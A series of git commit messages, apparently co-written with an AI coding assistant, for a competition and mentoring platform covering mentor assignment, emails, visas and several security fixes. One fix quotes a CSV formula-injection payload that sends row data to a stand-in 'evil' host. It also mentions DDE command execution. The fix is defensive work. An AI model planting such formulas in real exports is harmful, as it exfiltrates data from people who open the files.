Round-page bulk-assign UI
- Checkboxes on every project row, header select-all, primary-tinted action
toolbar that appears when 1+ rows are selected with an "Assign mentor…"
CTA and Clear. Dialog lists the mentor pool with search (name/email/
country/expertise), load indicator, and a radio picker.
- Always-visible tip strip when nothing is selected explains the bulk flow
and offers a one-click "Select all N without a mentor" shortcut.
- New tRPC procedure `mentor.bulkAssign({ mentorId, projectIds })` assigns
one mentor to many projects in a transaction; idempotent on the per-pair
`(projectId, mentorId)` unique; per-project in-app notifications still
fire for each team.
- Mutation invalidates listMentoringProjects, getProjectsNeedingMentor,
getMentoringImportCandidates, getMentorPool, getRoundStats, project.list
so the page reflects the new state without a refresh.
Coalesced mentor emails
- New `sendMentorBulkAssignmentEmail` (single email listing every newly-
assigned project + workspace links) used by `mentor.bulkAssign` and
`mentor.autoAssignBulkForRound`. The previously-silent auto-fill flow
now emails mentors at the end of the batch, one combined email per
mentor regardless of how many projects they received.
Team introduction emails when the round opens
- New `sendTeamMentorIntroductionEmail` lists every assigned mentor with
name + email and a link to the workspace, so teams can reach out
directly.
- `activateRound` (round-engine) fires the introduction for every project
in a MENTORING round that has active mentors when the round opens.
- `mentor.assign`, `mentor.bulkAssign`, and `autoAssignBulkForRound` also
fire the introduction immediately when the project's MENTORING round is
already ROUND_ACTIVE — so mentors added mid-round still reach the team.
- Idempotency via the new `MentorAssignment.teamIntroducedAt` column
(migration 20260526114936) — independent from `notificationSentAt` so
pre-existing mentor-side stamps don't suppress the team-side email.
Adding the MENTOR role from /admin/members/[id] only updated React state — the
AlertDialog "Add role" confirmation never called the server, so prod ended up
with zero users in MENTOR roles[] and /admin/mentors showed "No mentors yet".
The dialog now awaits updateUser.mutateAsync({ roles }) before closing.
Other corrections in the same area:
- DialogContent uses flex flex-col with max-h-[90vh] overflow-y-auto so tall
modals (e.g. Add Project to Round) scroll internally instead of overflowing
past their own rounded background.
- getProjectsNeedingMentor now matches autoAssignBulkForRound exactly: both
filter mentorAssignments by droppedAt: null and require
finalistConfirmation: CONFIRMED, so the toolbar count never exceeds what
auto-fill actually processes. The toolbar surfaces hasNoMentors /
hasNoEligible / count / all-assigned as distinct states instead of one
misleading "All eligible projects have a mentor" line.
- New per-team table (MentoringProjectsTable) replaces ProjectStatesTable on
the Projects tab of MENTORING rounds. Lists every project with its active
mentors (multi-mentor aware), filter pills, search, finalist-confirmation
badge, and a per-row link to /admin/projects/[id]/mentor for assigning.
- Applicant team page now lists ALL active mentors (PR8 Task 7) instead of
just mentorAssignments[0].
- Hard guard in src/lib/email.ts short-circuits sendEmail when NODE_ENV=test
or VITEST=true so test runs can never emit real notifications again.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- stats.getApplicantNationalities procedure aggregates User.nationality
across team members of projects in the selected scope (round/program
/global)
- New Applicant Nationalities card on /admin/reports, top-10 with
Show all expansion, country names from the existing ISO map
- Handles the ~30% null case explicitly ("Not declared: N")
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- Eye toggle expands the row below to embed FilePreview from
@/components/shared/file-viewer (PDF iframe, image, video, Office docs)
- Download button uses explicit Content-Disposition: attachment via a
new `disposition` input on workspaceGetFileDownloadUrl
- getPresignedUrl learns `inline: true` and optional `response-content-type`
override so PDFs/images don't get force-downloaded by MinIO's default
- Eye button only renders for previewable mime types
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- /admin/projects/[id]/mentor renders all co-mentors as a list with per-row
Unassign (confirm dialog) and a stacking "Add a mentor" flow that no longer
hides when at least one mentor is assigned. Candidates and AI suggestions
filter out already-assigned mentors.
- Pending change-requests panel appears above the mentor list when there are
open requests for the project, with per-card Mark Resolved / Dismiss actions
routed through mentor.resolveChangeRequest (optional resolution note).
- MentoringRoundOverview gains a "Pending change requests" row showing the
PENDING count across the program; the Review link deep-links to the first
pending request's project mentor page.
- mentor.unassign now accepts { assignmentId } so the admin UI can target a
specific co-mentor (legacy { projectId }-only callers still work and remove
the most-recent assignment).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- /applicant/mentor renders all co-mentors as cards
- New "Request a mentor change" dialog opens a free-form reason + optional
per-mentor target; calls mentor.requestChange and shows admin-routed
confirmation toast
- Pending-request guard disables the button until the admin resolves
- Adds mentor.getProjectMentors({ projectId }) — returns all active
MentorAssignment rows for a project, authorized to any mentor on it
- Workspace page header surfaces "You + N co-mentor(s): names…" so each
mentor knows the team composition without having to ask the admin
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- mentor.requestChange: applicants/admins open a PENDING MentorChangeRequest
with a reason; one open request per (user, project) enforced
- mentor.listChangeRequests: admin-only inbox listing
- mentor.resolveChangeRequest: admin marks RESOLVED or DISMISSED with optional
resolution note
- sendMentorChangeRequestEmail: notifies all SUPER_ADMIN/PROGRAM_ADMIN users
when a request is opened (try/catch — never throws)
- Mentors are NOT notified of change requests, even after resolution
(per design decision in PR8 plan)
- Audit log entries for create + resolve; raw reason redacted from audit
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- MentorFile.projectId is the new access boundary; mentorAssignmentId stays
as informational audit FK (nullable).
- uploadFile derives projectId from the assignment; getFiles takes projectId
directly; deleteFile/addFileComment auth checks any mentor on the project
OR a project team member.
- HMAC upload token now binds to projectId (in addition to assignmentId).
- promoteFile reads file.projectId directly (no more mentorAssignment null
navigation).
- Removes 3 placeholder NOT_FOUND guards added in Task 4.
- mentor.assign no longer rejects on existing mentor; rejects only on
duplicate (projectId, mentorId) via P2002 catch.
- After successful create, sendMentorTeamAssignmentEmail fires once and
stamps MentorAssignment.notificationSentAt for idempotency.
- All existing behavior preserved: audit log, in-app notifications,
MENTORING round auto-transition.
- mentor.getSuggestions no longer short-circuits when a mentor is already
assigned — the suggestions list is now informational and the per-pair
unique constraint enforces correctness at assign time.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Schema dropped @unique on MentorAssignment.projectId in PR8 Task 1 →
back-relation becomes a list. Mechanical rename of Prisma queries and
consumer accessors. Legacy single-mentor callers use [0] with a TODO for
PR8 Task 8 to surface the full list. mentor-workspace.ts is left as Task 5.
- routers (mentor, project, applicant, finalist, round) and smart-assignment
service: include/where/select keys renamed; `mentorAssignment: null` →
`mentorAssignments: { none: {} }`; `{ isNot: null }` → `{ some: {} }`.
- UI consumers (mentor + applicant pages): `project.mentorAssignment` →
`project.mentorAssignments[0]` with TODO markers.
- Tests: `findUnique({ projectId })` → `findFirst({ projectId })` since the
composite key now requires both projectId+mentorId. MentorFile.create gains
the new required projectId.
- Workspace endpoints in mentor.ts now guard null mentorAssignmentId until
Task 5 re-scopes them to project.
- finalist.unconfirm now cascades to ALL active mentor assignments.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The original generateAccessLink branched on user state and minted either
an invite URL (forces password setup) or a reset URL (forces password
change). Both required the user to set/change a password — fine for new
users, painful for tech-illiterate sponsor jurors who already have a
working password and just need a fresh login because their JWT went
stale or their email is bouncing.
This adapts the existing invite-token flow to behave as a magic-login
when the user already has a password:
- auth.ts credentials.authorize: only set mustSetPassword=true if the
user has no passwordHash. Users who already set one keep it, the
invite token is consumed, JWT is issued with their current role,
they're signed in.
- accept-invite/page.tsx: redirect to / after accept (was hardcoded
to /set-password). The middleware already enforces the
/set-password detour when mustSetPassword is true, so users who
need it still land there; everyone else routes by role.
- generateAccessLink: drop the reset-password branch. Always emits an
/accept-invite URL. The flow naturally adapts: setup for new users,
magic-login for active ones. Audit log records which behavior fired
(kind: 'setup' | 'magic_login').
- dialog copy: clearer description for each kind.
Net behavior: Didier (active, has password, stale JWT after role
migration) clicks his link → instant login on /jury, password preserved.
Magali (no password yet) clicks hers → /set-password → onboarding.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds a "Copy Access Link" button on the member detail page that mints a
one-time URL the admin can share over Slack, WhatsApp, or any other
channel. Solves the "we sent them an invite three weeks ago and it
silently dropped into spam" failure mode that left jurors stranded.
Server: user.generateAccessLink (adminProcedure) inspects the target
user's state and picks the right flow:
- INVITED / NONE / mustSetPassword / no password ever set → invite-flow
URL (/accept-invite?token=…); the existing flow takes them through
accept → set password → onboarding without further admin help.
- Active user with a password → password-reset URL
(/reset-password?token=…); they pick a new password and middleware
bounces them to onboarding if it's still pending.
Both flows already exist; this just exposes a way to mint a fresh token
without sending an email. The token has a 24h hard expiry and is consumed
on successful completion of the flow, so a leaked or screenshot link
can't be replayed against a different user later in the day. Each
generation is audit-logged with the admin's id, the target user's id +
email, and the link kind.
UI: button next to Resend Invite on /admin/members/[id]; opens a dialog
with a read-only input pre-selected, a one-click copy button, expiry
timestamp, and a warning not to paste in public channels.
Side benefit: users like Didier who have stale JWTs from a recent role
change can use a fresh access link to force a re-login that picks up
their updated role.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The AWARD_MASTER role split sponsor jurors into a parallel UI that hid
project files (only showed when the award was anchored to an evaluation
round) and duplicated the jury voting path with no real difference in
authority — tie-break and finalize were already governed by AwardJuror.isChair
regardless of the user's global role. Inviting a juror via the award page
defaulted to AWARD_MASTER, randomly fragmenting jury panels.
This collapses the role into JURY_MEMBER + isChair:
- specialAward.getMyAwardDetail now returns evaluation scores, chair
visibility into other jurors' votes, and juror roster
- specialAward.submitVote accepts an optional justification per vote
- specialAward.confirmWinner moves from awardMasterProcedure to
protectedProcedure (juror+chair check inside)
- bulkInviteJurors creates JURY_MEMBER accounts and, when the award has
a juryGroupId, also adds them to that JuryGroup so they appear on
the round-page jury panel
- jury award page renders justification, eval-score badges, and a
chair tools panel with vote tally + finalize-winner CTA
- juryGroup.list includes attached SpecialAwards; the jury-list UI
shows a trophy pill alongside round pills
- (award-master) route group, awardMasterProcedure, AWARD_MASTER role
enum value, and AWARD_MASTER_DECISION decisionMode are deleted
- migration demotes any residual AWARD_MASTER users to JURY_MEMBER and
recreates the UserRole enum without the value
Coup de Coeur on prod: Didier (the sponsor juror added today as
AWARD_MASTER by the buggy invite form) was migrated to JURY_MEMBER and
attached to the existing "Coup de Coeur" JuryGroup; the SpecialAward
itself was linked to that group (juryGroupId was NULL).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- globalScore is /10 (was hardcoded /100); use real round.name (was 'Round N')
- Render criteria by type: numeric uses parsed scale (1-10/0-10/1-5),
text shows as quoted block, boolean/advance hidden as jury-internal
- Drop redundant cross-round stat strip and per-round Score Comparison
- Plain language: 'Lowest/Highest' instead of 'Range', 'reviews' not 'evaluations'
- Settings toggles update optimistically (was waiting for refresh)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When finalizing a round with no further round to advance to, passing teams
are winners — not advancers. Detected for both special-award terminal rounds
(label = award name) and the main competition's terminal round (label =
competition name). Wording uses "a winner" so it works for both single-winner
awards and top-N main-track outcomes.
Adds AWARD_WINNER_NOTIFICATION email type + template ("Your project has won!"
with "our team will reach out about next steps" copy). Routes through the
notification dispatch table the same way ADVANCEMENT_NOTIFICATION does.
The FinalizationSummary gains a `winnerContext` field; the admin finalization
tab uses it to swap "X projects will advance to Y" → "X winners will be
notified for [label]" and renames "Advancement Message" → "Winner Message"
in the custom-message field. The email-preview button shows the winner
template when applicable.
In-app notification (bell icon) gets matching winner copy.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The mentoring round is opt-in (eligibility: requested_only) and only a subset
of advancing teams enter it; the rest auto-pass through. Showing it as the
"next round" in the finalization summary and advancement emails was misleading
since Grand Finale is the shared destination for all advancing teams.
Routing is unchanged — targetRoundId still points to the next round by sortOrder
(may be MENTORING) so opt-in handling is preserved. Only the user-facing label
skips MENTORING.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous addJuror / bulkAddJurors / bulkInviteJurors flows silently
created AwardJuror rows with no notification when the user already had
an account. The result: assigned jurors had no idea they were assigned
unless they happened to log in and check /jury/awards manually.
Three changes:
1. New email template + sender (sendAwardJurorNotificationEmail). Tells
the juror what the award is, how many projects are eligible, when
voting closes, and links straight to /jury/awards/<id>. Reused for
both the initial assignment notification and admin reminders.
2. Auto-send on assignment. addJuror / bulkAddJurors / bulkInviteJurors
now send the email to newly-attached jurors. bulkInviteJurors checks
for a prior AwardJuror row before sending so duplicate "Bulk Invite"
clicks don't spam jurors who were already assigned. addJuror /
bulkAddJurors accept a `sendEmail` flag so admin tooling can opt out.
3. New admin procedure specialAward.notifyJurors(awardId, userIds?,
customMessage?). Surfaced in the Jurors tab as a "Send reminder to
all" button at the top and a per-row mail icon for individual
reminders. Audit-logged with action: 'JUROR_REMINDER'.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.
The platform exposes anonymous-attacker reachable sinks:
- `application.submit` is publicProcedure with `projectName` as
`z.string().min(2).max(200)` — no character filter — so a project
titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
`AuditLog.userAgent` and dumped verbatim into the audit-log CSV.
Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:
- `src/components/shared/csv-export-dialog.tsx` — used by
export.evaluations, export.assignments, export.filteringResults,
export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)
Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three separate issues in the file storage layer:
1. IDOR via client-controlled object key in applicant.saveFileMetadata
and file.replaceFile. Both procedures accepted `bucket` and `objectKey`
from the client and stored them on a new ProjectFile row attached to
the caller's own project. Because file.getDownloadUrl authorizes via
`findFirst({ bucket, objectKey })` -> projectId, an attacker could
bind another team's storage object to their own project row and then
download the foreign object through the legitimate authorization
path. Now both procedures require `bucket === BUCKET_NAME` and the
`objectKey` to start with the project's sanitized title prefix
(matches the prefix that generateObjectKey produces server-side).
New helper `objectKeyBelongsToProject` exported from src/lib/minio.ts;
`sanitizePath` is now exported as well so the helper can reuse it.
2. Missing per-round scope on file.getBulkDownloadUrls. The single-file
getDownloadUrl restricts a juror to files in rounds with sortOrder
<= their assigned round, but the bulk variant only checked that an
Assignment row existed for the project. A juror assigned only to
EVALUATION could pull URLs for LIVE_FINAL/DELIBERATION confidential
files via this endpoint. Now applies the same per-round filter when
the caller's access to the project is jury-only (mentors / team
members / award jurors retain unrestricted access, matching
getDownloadUrl semantics).
3. Same omission on the standalone /api/files/bulk-download REST route.
Same fix applied there.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three high-severity issues in user router:
1. user.update accepted both `role` and `roles[]` from input but only
guarded the singular `role`. A PROGRAM_ADMIN could pass `roles:
['SUPER_ADMIN']` and self-escalate. Now applies the same guards to the
array field and uses both fields when checking the target's current
admin tier.
2. user.updateRoles only blocked SUPER_ADMIN grants; PROGRAM_ADMIN could
grant PROGRAM_ADMIN laterally and could pass `roles: []` against any
existing SUPER_ADMIN to silently demote them. Now blocks PROGRAM_ADMIN
grants and refuses to mutate any target who currently holds SUPER_ADMIN
or PROGRAM_ADMIN unless the caller is SUPER_ADMIN.
3. user.bulkUpdateRoles had the same omission and additionally let a
PROGRAM_ADMIN strip SUPER_ADMIN from every peer admin in one call. Now
requires SUPER_ADMIN for any add/remove of admin-tier roles, blocks
modifying admin targets entirely from non-super-admins, and adds a
PROGRAM_ADMIN self-demote guard.
Plus: user.updateProfile previously let any authenticated user silently
overwrite their own email with no verification or notification — turning
any short-lived session compromise into permanent account takeover via
password reset on the new address. Email is removed from the input
schema; the profile page email field is now read-only with a "contact
an administrator" hint.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
project.list previously gated only JURY_MEMBER to assigned projects;
APPLICANT, MENTOR, OBSERVER, AUDIENCE, AWARD_MASTER fell through with
full access to every project across every program (team-member PII,
files, mentor identities). project.get had the same flaw.
Now: SUPER_ADMIN/PROGRAM_ADMIN see all (existing); OBSERVER/AWARD_MASTER
see all (these roles exist for cross-program oversight); JURY_MEMBER
sees only their assignments; MENTOR sees only their mentorAssignments;
APPLICANT sees only their team's projects; AUDIENCE sees nothing.
For users holding multiple roles, the access check uses an OR over the
applicable relationships (e.g. a mentor who is also an applicant sees
both their mentor projects and their team projects).
Existing admin/jury/mentor UIs continue to work because their access
paths are still satisfied. Audience users were not expected to use
project.list in the first place; they now correctly receive an empty
list rather than the full database.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Replace was previously accepted from anyone with a relationship to the
project: jury (assignment), mentor (mentorAssignment), or team member.
That allowed jurors and mentors to swap a team's submission, with the
attacker-supplied bucket+objectKey pointing at any object they had
uploaded elsewhere.
Now only admins and the team itself (submitter or TeamMember) can
replace files. Jurors and mentors remain read-only on submissions.
The legitimate UI flow (team-lead replacing files from the applicant
dashboard) is unaffected.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
evaluation.getDiscussion and evaluation.addComment were juryProcedure
that took projectId+roundId from input but never verified the caller
had an Assignment for that project+round. A juror could read foreign
deliberations and inject comments into them.
evaluation.getCOIStatus was protectedProcedure with no ownership check,
returning the full ConflictOfInterest record (including the free-text
description that captures personal/financial relationships) for any
assignmentId.
Both now check that admins are allowed always and otherwise require
assignment ownership. getCOIStatus loads the assignment to verify
caller ownership before returning the COI record.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
workspaceSendMessage, workspaceGetMessages, workspaceMarkRead, and
workspaceAddFileComment previously trusted the caller-supplied ID and
only checked workspaceEnabled. Any user with the MENTOR role could
read/post in any workspace, impersonating the assigned mentor and
inserting comments under any team's deliverables.
All four now run assertWorkspaceAccess (assigned mentor or team member
of the project), mirroring the file-handling procedures in the same
router. workspaceMarkRead resolves the message -> workspaceId first,
and additionally short-circuits when the caller is the sender so unread
state stays honest. workspaceAddFileComment resolves the file ->
mentorAssignmentId before the access check.
Procedures downgraded from mentorProcedure to protectedProcedure since
assertWorkspaceAccess is the real gate.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Prevents non-jury authenticated users from casting votes that get
counted in the jury aggregate. Admins are still allowed; everyone else
must be a JuryGroupMember of the round's jury group. Also explicitly
sets isAudienceVote=false on the upsert so audience votes can't be
laundered into jury votes via this path. Audience voting continues to
flow through the existing castAudienceVote publicProcedure.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds lunch.getProjectExternals (team-member guarded). Strip auto-hides
when no externals attached to the team.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
LunchPickForm shared between applicant dashboard rows (member-self /
team-lead context) and the admin manifest's edit-pencil slide-over.
Adds lunch.getMemberPick read for the per-row hydration.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds program.listFinalistProjects helper. Externals dialog supports
both standalone and project-attached entries; manifest's external row
edit-pencil opens this dialog via forwardRef.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds buildManifest service shared between getManifest and the recap.
CSV escaper handles commas/quotes/newlines for safe spreadsheet import.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Lazy-creates LunchEvent on first read or update. Audit-logs every
update with the patched fields.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds ensureLunchPickForAttendingMember helper called from confirm,
adminConfirm, and editAttendees attendee-creation paths. No-ops when
the program has no LunchEvent.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Backs the new consolidated Edition tab on /admin/settings.
getEditionSettings returns a merged view of Program-level fields
(defaultAttendeeCap, visaStatusVisibleToMembers) plus LIVE_FINAL round
config (attendeeEditCutoffHours, confirmationWindowHours, with
sensible defaults). Round-derived values are null when the round
doesn't exist yet.
updateEditionSettings is partial — only supplied fields are written.
Round config writes merge into the existing configJson so other keys
are preserved. Audit-logged as PROGRAM_EDITION_SETTINGS_UPDATE.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The mentor list now ends with a Teams column showing chips of each
mentor's active assignments (truncated at 2 + overflow badge). Clicking
any row opens a right-side Sheet with the mentor's profile (expertise,
country, joined date, max assignments) and a per-team activity feed —
project, status (active / completed / dropped), assignment date, and
counts of messages / files / milestones with their last timestamp.
Stat cards on both the Mentor and Mentee panels were stale and not
particularly informative, so they're gone — the table itself is now
the focal element on each panel.
getMentorPool gained an activeTeams[] field; new getMentorDetail query
backs the side sheet.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Each member now sees their own visa status (status badge + next
upcoming date) on the applicant dashboard, sourced from
applicant.getMyVisaApplications. Other teammates' rows still show the
generic "Visa support" badge if they need a visa, since the platform
deliberately scopes visa visibility to the caller. The whole visa
surface auto-hides if the program toggle is off.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Activates the previously-disabled Visas tab on /admin/logistics.
VisasTab renders a flat table joined per attendee per project, sorted
by status priority. Status filter pills mirror the Confirmations tab.
The header carries a "Visible to teams" Switch backed by a new
logistics.getVisaVisibility query and the existing setVisaVisibility
mutation; toggling it controls whether members see their own status.
VisaEditDialog is a per-row editor with a status dropdown,
nationality input, three native date inputs (invitation / appointment
/ decision), and a notes textarea. No file uploads — the platform
deliberately holds zero document artifacts.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Returns the caller's visa application rows when the program's
visaStatusVisibleToMembers toggle is on; returns null when it's off
(so the UI can hide the section entirely); returns an empty array
when the toggle is on but the caller has no needsVisa attendees.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
logistics router gains three procedures for the Visas tab:
- listVisaApplications: program-scoped, joined with project + attendee,
sorted by status priority (REQUESTED first → NOT_NEEDED last).
- updateVisaApplication: partial update of status / dates / nationality /
notes; clears nullable fields on null. Audit-logged as VISA_UPDATE
with previous + next snapshots.
- setVisaVisibility: flips Program.visaStatusVisibleToMembers. Audit-
logged as VISA_VISIBILITY_SET.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
confirm and adminConfirm now create REQUESTED VisaApplication rows for
every attendee with needsVisa=true, in the same Prisma transaction as
the AttendingMember inserts. editAttendees was extended into a fully
diff-aware sync: existing attendees whose needsVisa flips on get a new
VisaApp; flipping off deletes it; staying true preserves the row (and
its status / notes / dates). Removed attendees cascade automatically
via the FK.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This edition is being handled manually via email — admins need to
record what each finalist replied. Adds:
- finalist.adminConfirm — flips PENDING → CONFIRMED with attendees +
visa flags. Same cap and team-membership checks as the public flow,
audit-logged as FINALIST_ADMIN_CONFIRM.
- finalist.adminDecline — flips PENDING → DECLINED with optional
reason and triggers waitlist promotion. Audit-logged as
FINALIST_ADMIN_DECLINE.
- finalist.getConfirmationDetail — feeds the admin attendee picker.
- Per-row Confirm / Decline actions on the Logistics > Confirmations
table (PENDING rows only) backed by a shared dialog that switches
between attendee-picker and reason-input modes.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
mentor.autoAssignBulkForRound now skips any project whose finalist
confirmation isn't CONFIRMED — there's no point assigning a mentor to
a team that won't be at the grand finale. Other eligibility rules
(wantsMentorship, admin_selected, already-assigned) are preserved.
Updated existing requested_only and skip-already-assigned tests to seed
CONFIRMED confirmations so they continue to isolate their target gate.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds applicant.getMyFinalistConfirmation query (returns roster + cutoff
metadata for the team's confirmation, or null). New AttendingMembersCard
shows the confirmed attendee list and surfaces an Edit dialog to the
team lead — disabled past the editable cutoff. Card auto-hides until the
confirmation reaches CONFIRMED status.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>